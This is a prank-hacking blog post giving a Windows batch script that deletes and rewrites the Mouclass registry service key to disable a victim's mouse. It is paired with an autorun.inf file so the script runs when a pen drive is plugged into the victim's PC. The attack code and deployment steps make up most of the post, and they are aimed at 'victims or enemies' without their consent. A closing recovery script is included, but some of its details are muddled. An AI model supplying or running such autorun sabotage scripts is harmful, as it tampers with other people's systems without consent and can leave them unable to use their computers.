How to disable your victim's Mouse whenever he insert pen drive

 Hi friends , Hacking is one of the fun . You can attract your friends by simply doing some hacks before them.  You can also make your victims or enemies in confusion. This article will help you to make the small fun with hack. 

Let's come to the point. Today i am going to guide you how to disable your victim's or friend's (whoever) mouse,whenever he inserts pen drive. You can call it as virus which will disable the mouse.

How we are going to do?
We are going to create this virus using our usual Batch programming. In this post i am not only giving you simply the code but also explanation for the Batch program. So I hope that this post will make you happy.

Batch Programming Code:
@echo off
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4

Explanation about this code
"@echo off" This command will either turn ON, or OFF the command you put in a batch file from showing itself. (don't confuse now,batch programming intro will make you clear).

set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass" will access the registry stored in this location"HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"

you can manually go to this path: start->run and type as "regedit" now window will open . you can find folder named as "HKEY_LOCAL_MACHINE ,click the folder you can find list of folder also includes system folder. likewise you can move to mouse class







The third line of our code is "reg delete %key%" . This will delete the key in the MouseClass from registry.

"reg add %key% /v Start /t REG_DWORD /d 4" creates a new key with
Binary value name as "start" ,
type is "REG_DWORD"
and data as "4" (actually the fore will be stored in hexadecimal format, 0×00000004).

The Procedure to create this virus:
Okay now we will see the what are the procedure to follow in order to make this virus perfectly work in victim pc.

Step 1:
  1. Copy the Batch code into notepad.
  2. Save it as .bat extension (for eg: clickme.bat)
Step 2: 
Now open the notepad and copy this code:
[autorun]
Open=filename.bat
Action=Mouse Disable

Save it as "autorun.inf"

//don't forget to change the "filname.bat" with your filname.bat.
Step 3: 
Then copy the two files in your pen drive or victim's pen drive.


That's all we have finished. Now bring your pen drive to your friend or victim home. Now whenever the mouse is inserted ,the mouse will be disabled.


How to recover from this attack?
Sorry for mentioning this fun as attack. To recover from this attack ,you can follow these steps:
Copy this code into the notepad:
@echo off
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 1


and save it with .bat extension(for eg: release.bat).
now open this batch will re-enable the mouse actions.

0 comments:

Best Blogger TipsComment here